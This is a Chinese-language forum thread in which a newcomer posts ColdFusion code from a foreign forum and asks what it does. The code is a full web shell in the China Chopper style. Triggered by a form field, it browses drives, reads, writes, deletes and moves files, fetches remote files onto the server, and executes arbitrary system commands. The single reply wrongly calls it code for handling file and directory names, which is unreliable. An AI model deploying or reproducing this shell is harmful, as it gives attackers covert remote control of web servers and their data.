coldfushion新人高分求教！

[hwwztt]

在国外论坛学习，有人分享了下面的代码
本人是完全看不懂，麻烦懂的朋友分享一下，此段代码的作用，或是怎么使用这个代码，谢谢！

<CFIF IsDefined("FORM.Music889")><CFSET O="" /><CFTRY><CFSWITCH EXPRESSION=#Form.Music889#><CFCASE VALUE="A"><CFSCRIPT>O=O&Expandpath("./")&Chr(9);for(c=65;c lt 91;c=c+1){if(DirectoryExists(Chr(c)&":\"))O=O&Chr(c)&":";}</CFSCRIPT></CFCASE><CFCASE VALUE="B"><CFDIRECTORY DIRECTORY="#Form.z1#" NAME="D" SORT="Type"><CFLOOP Query="D"><CFSCRIPT>O=O&D.Name;If(D.Type eq "Dir")O=O&"/";O=O&Chr(9)&DateFormat(D.DateLastModified,"yyyy-mm-dd")&TimeFormat(D.DateLastModified," HH:MM:ss")&Chr(9)&D.Size&Chr(9);If(Left(Form.z1,1) eq "/"){O=O&D.Mode;}else{O=O&D.Attributes;}O=O&Chr(10);</CFSCRIPT></CFLOOP></CFCASE><CFCASE VALUE="C"><CFFILE ACTION="Read" FILE="#Form.z1#" VARIABLE="O"></CFCASE><CFCASE VALUE="D"><CFFILE ACTION="Write" FILE="#Form.z1#" OUTPUT="#Form.z2#"><CFSET O="1" /></CFCASE><CFCASE VALUE="E"><CFSCRIPT>Function DF(P){F=CreateObject("java","java.io.File").init(P);L=0;i=0;if(F.isDirectory()){L=F.listFiles();for(i=1;i lte ArrayLen(L);i=i+1){if(not L[i].delete()){DF(L[i].getPath());}}}F.delete();}DF(Form.z1);O="1";</CFSCRIPT></CFCASE><CFCASE VALUE="F"><cffile action="readbinary" file="#Form.z1#" variable="B" /><cfset J=CreateObject("java","java.nio.ByteBuffer") /><cfset X=J.Allocate(JavaCast( "int", ArrayLen(B)+6)) /><cfset X.Put(ToBinary(ToBase64("->"&"|")), JavaCast("int",0), 3 ) /><cfset X.Put(B, JavaCast("int",0), JavaCast("int",ArrayLen(B)) ) /><cfset X.Put(ToBinary(ToBase64("|"&"<-")), JavaCast("int",0), 3 ) /><cfscript>context = getPageContext();context.setFlushOutput(false);response = context.getResponse().getResponse();out = response.getOutputStream();response.setContentType("application/octet-stream");response.setContentLength(arrayLen(X.array()));out.write(X.array());out.flush();</cfscript><CFABORT></CFCASE><CFCASE VALUE="G"><CFSCRIPT>F=CreateObject("java","java.io.FileOutputStream");F.init(Form.z1);h="0123456789ABCDEF";C=Form.z2;for(i=0;i lt Len(C);i=i+2){F.write(BitOr(BitSHLN(h.indexOf(C.charAt(i)),4),h.indexOf(C.charAt(i+1))));}F.close();O="1";</CFSCRIPT></CFCASE><CFCASE VALUE="H"><CFFUNCTION Name="cpf"><CFARGUMENT Name="S"><CFARGUMENT Name="D"><CFFILE ACTION="Copy" SOURCE="#S#" DESTINATION="#D#"></CFFUNCTION><CFSCRIPT>Function CP(S,D){sf=CreateObject("java","java.io.File").init(S);df=CreateObject("java","java.io.File").init(D);L=0;i=0;if(sf.isDirectory()){if(not df.exists()){df.mkdir();}L=sf.listFiles();for(i=1;i lte ArrayLen(L);i=i+1){if(L[i].isDirectory()){CP(L[i].getPath(),df.getPath()&"/"&L[i].getName());}else{cpf(L[i].getPath(),df.getPath()&"/"&L[i].getName());}}}else{cpf(S,D);}}CP(Form.z1,Form.z2);O="1";</CFSCRIPT></CFCASE><CFCASE VALUE="I"><CFFILE ACTION="MOVE" SOURCE="#Form.z1#" DESTINATION="#Form.z2#"><CFSET O="1" /></CFCASE><CFCASE VALUE="J"><CFDIRECTORY Directory="#Form.z1#" Action="Create"><CFSET O="1" /></CFCASE><CFCASE VALUE="K"><CFSCRIPT>FileSetLastModified(Form.z1,ParseDateTime(Form.z2));O="1";</CFSCRIPT></CFCASE><CFCASE VALUE="L"><CFSCRIPT>Z=Form.z2;For(i=Len(Z);i gt 0;i=i-1){if(Mid(Z,i,1) eq "/" Or Mid(Z,i,1) eq "\"){Break;}}P=Left(Z,i);F=Mid(Z,i+1,256);</CFSCRIPT><CFHTTP METHOD="Get" URL="#Form.z1#" PATH="#P#" FILE="#F#"><CFSET O="1" /></CFCASE><CFCASE VALUE="M"><CFIF FindNoCase("windows",#server.OS.Name#) NEQ 0><CFEXECUTE Name="#Mid(Form.z1,3,Len(Form.z1)-2)#" Arguments="#Mid(Form.z1,1,2)# #Form.z2#" Variable="O" TimeOut="60" /><CFELSE><CFEXECUTE Name="sh" Arguments="-c ""#REReplace(Form.z2,"""","'","ALL")#""" Variable="O" TimeOut="60" /></CFIF></CFCASE></CFSWITCH><CFCATCH Type="Any"><CFSET O="ERROR:// "&CFCatch.Message /></CFCATCH></CFTRY><CFOUTPUT>->#Chr(124)&O&Chr(124)#<-</CFOUTPUT></CFIF>

[Dogfish]

没认真看。好像是解释文件名字和目录用的。

[hwwztt]

麻烦楼上的兄弟仔细帮忙看看，感谢了

[Dogfish]

现在才看到你的回复。下次可以留短信给我。